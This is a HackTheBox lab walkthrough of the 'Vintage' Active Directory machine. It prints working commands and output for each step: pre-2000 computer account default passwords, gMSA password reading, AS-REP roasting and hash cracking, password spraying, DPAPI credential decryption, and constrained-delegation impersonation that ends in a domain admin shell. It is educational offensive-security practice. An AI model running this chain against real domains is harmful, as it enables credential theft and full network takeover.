Post

HTB - Vintage

HTB - Vintage

Vintage is a hard windows machine centered around Active Directory penetration testing. It starts with credentials for a user that we can use to perform an initial reconnaissance phase using LDAP. This leads us to find a pre-2000 machine account with default credentials which in turn allows us to take over a second machine account by reading a gmsa password. We then add ourself to a group which allows us to take over a service account by completing an AS-REP roasting attack, effectively cracking the hash of that service account and revealing a password. Using password spraying, we find a user account reusing the password we just found. We proceed to extract a protected stored password along with the user’s masterkey and crack it offline to find the password for a first admin user. This admin user is part of a group that allows us to do a constrained delegation attack against a second admin user. Taking over this second admin user completes our takeover of the full domain.

Reconnaissance

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-10 23:51:04Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-02-10T23:51:07
|_  start_date: N/A
|_clock-skew: 11s

In this nmap result, we can see that there’s a DC named vintage.htb. We’ll add both DC and administrator.htb to our /etc/hosts. Other than Windows domain controller services like Kerberos, LDAP and WinRM, there’s nothing special to look at.

Intitial credentials

HackTheBox provides the following message for the Vintage machine:

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

We can check whether these credentials work with some of the services of the box. We’ll start with SMB and LDAP:

1
2
3
$ netexec smb 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb
SMB         10.129.231.205  445    10.129.231.205   [*]  x64 (name:10.129.231.205) (domain:10.129.231.205) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.231.205  445    10.129.231.205   [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
1
2
3
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.129.231.205  389    DC01             [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

STATUS_NOT_SUPPORTED usually means that NTLM authentication is disabled on the domain. To circumvent this, we can force kerberos authentication using the -k option of netexec.

1
2
3
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.129.231.205  389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123

We could already start by listing the users in our domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --users
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.129.231.205  389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP        10.129.231.205  389    DC01             [*] Enumerated 14 domain users: vintage.htb
LDAP        10.129.231.205  389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.231.205  389    DC01             Administrator                 2024-06-08 13:34:54 0        Built-in account for administering the computer/domain
LDAP        10.129.231.205  389    DC01             Guest                         2024-11-13 15:16:53 1        Built-in account for guest access to the computer/domain
LDAP        10.129.231.205  389    DC01             krbtgt                        2024-06-05 12:27:35 0        Key Distribution Center Service Account
LDAP        10.129.231.205  389    DC01             M.Rossi                       2024-06-05 15:31:08 1
LDAP        10.129.231.205  389    DC01             R.Verdi                       2024-06-05 15:31:08 1
LDAP        10.129.231.205  389    DC01             L.Bianchi                     2024-06-05 15:31:08 1
LDAP        10.129.231.205  389    DC01             G.Viola                       2024-06-05 15:31:08 1
LDAP        10.129.231.205  389    DC01             C.Neri                        2024-06-05 23:08:13 0
LDAP        10.129.231.205  389    DC01             P.Rosa                        2024-11-06 13:27:16 0
LDAP        10.129.231.205  389    DC01             svc_sql                       2025-04-22 20:52:10 1
LDAP        10.129.231.205  389    DC01             svc_ldap                      2024-06-06 15:45:27 1
LDAP        10.129.231.205  389    DC01             svc_ark                       2024-06-06 15:45:27 1
LDAP        10.129.231.205  389    DC01             C.Neri_adm                    2024-06-07 12:54:14 0
LDAP        10.129.231.205  389    DC01             L.Bianchi_adm                 2024-11-26 12:40:30 0

We have some service accounts and accounts for which we have both a regular user and an admin account.

We can do the same for the computers:

1
2
3
4
5
6
7
$ etexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --computers
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.129.231.205  389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP        10.129.231.205  389    DC01             [*] Total records returned: 3
LDAP        10.129.231.205  389    DC01             DC01$
LDAP        10.129.231.205  389    DC01             gMSA01$
LDAP        10.129.231.205  389    DC01             fs01$

To get a bit more information about those users and computers we just collected, we can run a bloodhound collection:

1
2
3
4
5
6
$ netexec ldap 10.129.231.205 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -k --bloodhound -c all --dns-server 10.129.231.205
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        10.129.231.205  389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP        10.129.231.205  389    DC01             Resolved collection methods: group, session, localadmin, rdp, psremote, dcom, container, objectprops, trusts, acl
LDAP        10.129.231.205  389    DC01             Using kerberos auth without ccache, getting TGT
LDAP        10.129.231.205  389    DC01             Done in 00M 05S

Authentication as FS01$

Loading the results in Bloodhound-CE, we find that the user P.Rosa has no interesting permissions to operate on other accounts. However, we see that FS01$ is part of the Pre-Windows 2000 Compatible Access group.

FS01$ is part of the Pre-Windows 2000 Compatible Access group FS01$ is part of the Pre-Windows 2000 Compatible Access group

This is an interesting find as computers that are configured as pre-Windows 2000 compatible during their set-up end up having their password set to the computer name in lowercase. For example, if the computer FS01$ has a default password, it would be fs01. If you want more information about this, I recommend reading the article of the creator of the tool we’ll use below: diving-deeper-pre-created-computer-accounts.

We can scan the list of computers we found to see if FS01$ (or another computer account) has a default password using a tool called pre2k:

1
2
3
$ pre2k unauth -d vintage.htb -dc-ip 10.129.231.205 -inputfile computers.txt
...[snip]...
[23:58:23] INFO     VALID CREDENTIALS: vintage.htb\fs01$:fs01

There we go! Just like we predicted, the computer account FS01$ has been set-up as pre-Windows 2000 compatible and its password was never changed afterwards.

Let’s get ourself a TGT (A Ticket Granting Ticket is a user authentication token issued by the Key Distribution Center (KDC) that is used to request access tokens from the Ticket Granting Service (TGS) for specific resources/systems joined to the domain) to be able to run some commands as FS01$:

1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'FS01$':fs01
[*] Saving ticket in FS01$.ccache

$ export KRB5CCNAME=FS01\$.ccache

Authentication as GMSA01$

Sweet! Now, we can start elevating our privileges. Looking back at Bloodhound-CE, FS01$ has 1 Outbound Object Control:

FS01$ has ReadGMSAPassword over GMSA01$ FS01$ has ReadGMSAPassword over GMSA01$

Reading GMSA01$’s password is possible using bloodyAD:

1
2
3
4
5
$ bloodyAD --host dc01.vintage.htb -d vintage.htb  -k get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
msDS-ManagedPassword.B64ENCODED: G37YR+Xo7NkIU4nkCJrl8cWrcPKAzCKH7UZW+eHVzKQ+Ot45XZFdv2KMUOSLUf6AVA57yBkDSRoDf/ItCOPL9BbrKex2E54WOk5Qov+ORM/Cvou23tZdNvvZMXLelTihuYtq/Lj2Pjr+9W1Oe1NOyNfytvcbMVk1czTOurzxsH3IRgDKJ8wVhijXMx79dqrug7RVOlhwcvxPbcYoYKoXmNGIWdgbIRfNTQ6QjKNfypvGh3AOtK3ETIq07AKPM4Qnuu2IRDWyAveGp1KU3nS4t+HP5XEdkqj22/AuqAOkhXXdU7PkVeK92wR/6LUuXiFoYqnZz527rHvfx/zKiHHdjA==

Using GMSA01$’s NTLM, we can request a TGT:

1
2
3
4
$ $ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
[*] Saving ticket in GMSA01$.ccache

$ export KRB5CCNAME=GMSA01\$.ccache

Authentication as svc_sql

With the control over the GMSA01$ computer account, we go back to Bloodhound-CE and analyse our options from here.

Checking the permissions of GMSA01$, it appears that this account has GenericWrite and Addself permissions over the Servicemanagers group.

GMSA01$ has GenericWrite/AddSelf over Servicemanagers GMSA01$ has GenericWrite/AddSelf over Servicemanagers

Our first step here is going to add GMSA01$ to the group. Bloodhound-CE recommends the net rpc or pth-net commands, I prefer to use bloodyAD. However we know from our reconnaissance that NTLM authentication is disabled for the domain so we’ll need to use kerberos authentication to performs our operations:

1
2
$ bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb' 'GMSA01$'
[+] GMSA01$ added to CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb

Before being able to act as a Servicemanager member, we first need to request a new TGT with our updated permissions!

1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
[*] Saving ticket in GMSA01$.ccache

$ export KRB5CCNAME=GMSA01\$.ccache

With GMSA01$ member of the Servicemanagers group, we have opened up a path with our newly acquired rights. We now have the GenericAll permission over all the service accounts (svc_sql, svc_ldap and svc_ark).

Servicemanagers members have GenericAll over svc accounts Servicemanagers members have GenericAll over svc accounts

Having GenericAll permission over the service accounts, we can remove disable the pre-authentication requirement as this will allow us to perform an AS-REP Roasting (Authentication Server Response (AS-REP) Roasting enables attackers to request encrypted authentication responses for accounts in Active Directory that have Kerberos pre-authentication disabled) attack. This will give us a hash that we can then try to crack offline to retrieve the password of the account.

Setting the DONT_REQ_PREAUTH flag for each account can be done using bloodyAD:

1
2
3
4
5
6
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl

There is one extra step however. In Bloodhound-CE, by going over each service account, we notice that the SVC_SQL account is disabled. Before doing the asrep roasting, we first need to enable this account. This can also be achieved using bloodyAD:

1
2
$ bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.231.205 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl

The Impacket GetNPUsers script will now reveal us a asrep response for all the accounts where pre-authentication is disabled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ GetNPUsers.py -dc-ip 10.129.231.205 vintage.htb/ -k -no-pass -usersfile ~/htb/machines/vintage/users.txt -request
...[snip]...
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:684aeedd45383fc89b4b195422eaceaa$d65bd4b2198cd909eb773905045946e1b93462bae74d4b4d9e639c70944069c1f5be95cb4dd66549133523044010bd410c7617265b0314b8a4b93b219b482d3a3a07b9a7efacb3a03d595ce918dcd270aea1412d94d76c845400a65acf119b95d5125c9f00094da4ac95abc06b09dcbae70318e8b0357491553ebd95ed60fc7b7161bce1557932f7cc8303695a52669398b032fae06948f0ff1507f2232ceae4a8d5c67d20df96303936907c7a1c1d5963eac20f5af14631fc12a8fbaa8211e2ad43b7bf457fe9faa381fac5e98e383c8ca5b9f6c8fad56cfff90cfad05535f351c111438bc44b26f311
$krb5asrep$23$svc_ldap@VINTAGE.HTB:1c0b249e8348fabdc17d60af366ef25f$dce266f076ffea05c18dff59aada089b548bd938fed675783cfd5fe5d0195e8d4d4594aa0508f4443c395370ab167631437326f143139eccf8dfbea6c05c41ad9bd18df2604b9fd841e849803afdf2fbf3ed74462f3bf2bf4a457c7de5595b468f0a39bce28a4108d819c280acba8b7190987f5d15562330e4887c455c5b1ec3bf56d51042450e5be0041dac753bb3fa46c7f06473bb0aa1725730a3a022fdf3289f96876e6bee402ccf7c212d59f6f69cd773a39a8e8d31b453f6ac7e9d0b9ca9d2770c62ceeeae85ae2f7627d12a6f029bc4928d1c605bacdf8ccb90ac3eedafccc292e4a2ff600e2a
$krb5asrep$23$svc_ark@VINTAGE.HTB:f31ab7bf129ad4e56227df32976c1268$99955ddf0059c4456cc2b6db1bab2a72773276e22336059df9b6b2d79818644430ab3fcf19b81dc7b5ab414ac0242ebce75579b6a4f014bedf0f4f00b87dfad81ac84557db00ca873378d86baea5d1eb7f27da29de1a3f646c61a6eae7f4f6e90f6819fe5eb417a5fef8341490785e2c780511f678e60926f2ae465532cc1ee402dffb49ec8bb8c10bd1f0c7e7d3139d54c56d87db8aee452056a7c732d1b64958db0a3a7b7c0c6a9b4f2f29ef0ade20da7d9605b0054434c38df29155bbaf6abb9369b64ddb701dcf68dd4cc11fb0464a6057daacad46969803d892cda707e8adf04b4e63dc6e15ac1f
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

These hashes can be cracked using either john or hashcat:

1
2
3
4
5
6
7
8
9
$ hashcat -m 18200 svc.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$krb5asrep$23$svc_sql@VINTAGE.HTB:79417f...:Zer0the0ne

$ john --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt svc.hashes
...[snip]...
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
...[snip]...
Zer0the0ne       ($krb5asrep$23$svc_sql@VINTAGE.HTB)

From there, we could request a TGT for svc_sql but Bloodhound-CE doesn’t show any interesting links to on other accounts.

Shell as C.Neri

With this new password, we can try a password spray to see if we have a hit for the users of the domain:

1
2
3
$ netexec ldap DC01 -u users.txt -p 'Zer0the0ne' -d vintage.htb -k
...[snip]...
LDAP        DC01            389    DC01             [+] vintage.htb\C.Neri:Zer0the0ne

And we get a hit for C.Neri! From Bloodhound-CE, we know that this user is part of the Remote management group so we can connect using Evil-WinRM.

Before we do this, we need to set-up a small configuration file. Remember that NTLM authentication is disabled so we have to configure our Evil-WinRM to use kerberos authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    VINTAGE.HTB = {
        kdc = dc01.vintage.htb
        admin_server = dc01.vintage.htb
        default_domain = dc01.vintage.htb
    }

[domain_realm]
    vintage.htb = VINTAGE.HTB
    .vintage.htb = VINTAGE.HTB

We need to export the path to this file as an environment variable:

1
$ export KRB5_CONFIG=custom_krb5.conf

We follow this with a TGT for our C.Neri user:

1
2
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/c.neri:Zer0the0ne
[*] Saving ticket in c.neri.ccache

We can now connect using Evil-WinRM (no need to provide the user as it’s defined in the TGT):

1
2
3
$ evil-winrm -i dc01.vintage.htb -r vintage.htb

*Evil-WinRM* PS C:\Users\C.Neri\Documents>

We can now grab the user flag:

1
2
*Evil-WinRM* PS C:\Users\emily\desktop> cat user.txt
b2cbf1d2************************

Authentication as C.Neri_adm

Investigating the C.Neri account reveals that this user has some stored passwords stored in the DPAPI (The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password) . Extracting these stored password is possible if we can get our hands on 2 types of files: the user-specific master keys and the credentials files that are secured using these master keys.

These files are usually hidden so you’ll need to use dir -h to see them.

The master keys are usually located at C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\ where $SUID is the user’s SID:

1
2
3
4
5
6
7
8
9
10
11
12
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h


    Directory: C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred

The credentials files are usually located at C:\Users\$USER\AppData\Local\Microsoft\Credentials\ or C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\:

1
2
3
4
5
6
7
8
9
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\credentials> dir -h


    Directory: C:\Users\c.neri\appdata\roaming\microsoft\credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

We can download both files using Evil-WinRM’s built-in download feature:

1
2
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b <your_local_path>/99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
$ *Evil-WinRM* PS C:\Users\c.neri\appdata\roaming\microsoft\credentials> download C4BB96844A5C9DD45D5B6A9859252BA6 <your_local_path>/C4BB96844A5C9DD45D5B6A9859252BA6

For the master keys, we can only download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b. The other key fails to download.

Impacket has a script that can help us decrypt the masterkey. For this, we need the user’s sid (which can either be found in Bloodhound-CE or the name of the folder where we found the masterkey) and their password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python examples/dpapi.py masterkey -file ~/htb/machines/vintage/99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Using this decrypted key, we can decrypt the protected data:

1
2
3
4
5
6
7
8
9
10
11
12
$ python examples/dpapi.py credential -file ~/htb/machines/vintage/C4BB96844A5C9DD45D5B6A9859252BA6 -key '0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a'

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

To perform actions as this new user, we need to fetch a TGT:

1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
[*] Saving ticket in c.neri_adm.ccache

$ export KRB5CCNAME=c.neri_adm.ccache

Shell as L.Bianchi_adm

Bloodhound-CE shows us the path forward for this user:

C.Neri_adm has GenericWrite/AddSelf over the Delegatedadmins group C.Neri_adm has GenericWrite/AddSelf over the Delegatedadmins group

With our full control over the service account and L.Bianchi_adm being our next target, we can try to execute a S4U2self attack. In these types of attacks, we rely on Kerberos delegations that allow a service to obtain a Service Ticket on behalf of a another domain user to itself. If L.Bianchi_adm had been marked as a “sensitive for delegation” or was a member of the Protected Users group, this attack wouldn’t have worked.

The service account we control does not have an spn however. We need to add one to it but what we add doesn’t really matter. The user C.Neri, being part of the Servicemanagers group has full permissions to svc_sql, so we’ll use this user to set a SPN (A Service Principal Name is a unique identifier that associates a service instance with a service account in Kerberos) for svc_sql:

1
2
3
$ export KRB5CCNAME=c.neri.ccache
$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.129.231.205 -k set object "SVC_SQL" servicePrincipalName  -v "cifs/fake"
[+] SVC_SQL's servicePrincipalName has been updated

Next, we need to add the svc_sql to the Delegatedadmins group. If we forget this step, we’ll get an error mentioning that the targeted SPN is not allowed to be delegated by our svc_sql user. This operation needs to be done by C.Neri_adm:

1
2
3
4
$ export KRB5CCNAME=c.neri_adm.ccache

$ bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB'
[+] CN=SVC_SQL,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB added to CN=DELEGATEDADMINS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB

We can now request a TGT for svc_sql:

1
2
3
4
$ getTGT.py -dc-ip 10.129.231.205 vintage.htb/svc_sql:Zer0the0ne
[*] Saving ticket in svc_sql.ccache

$ export KRB5CCNAME=svc_sql.ccache

Using the getST script from the Impacket suite, we request a Service Ticket impersonating the L.Bianchi_adm user:

1
2
3
4
5
6
7
$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -k -dc-ip 10.129.231.205 'vintage.htb/svc_sql:Zer0the0ne'

[*] Using TGT from cache
[*] Impersonating L.BIANCHI_ADM
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM.ccache

L.Bianchi_adm isn’t part of the Remote management group so we can’t connect through WinRM. However, there are other options to get a shell such as wmiexec:

1
2
3
4
5
6
7
8
$ export KRB5CCNAME=L.BIANCHI_ADM.ccache

$ wmiexec.py -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

Since L.Bianchi_adm is part of the Administrators group, we can read the root flag located on the Administrator desktop:

1
2
$ C:\users\administrator\desktop>type root.txt
5f7d5bcc************************
This post is licensed under CC BY 4.0 by the author.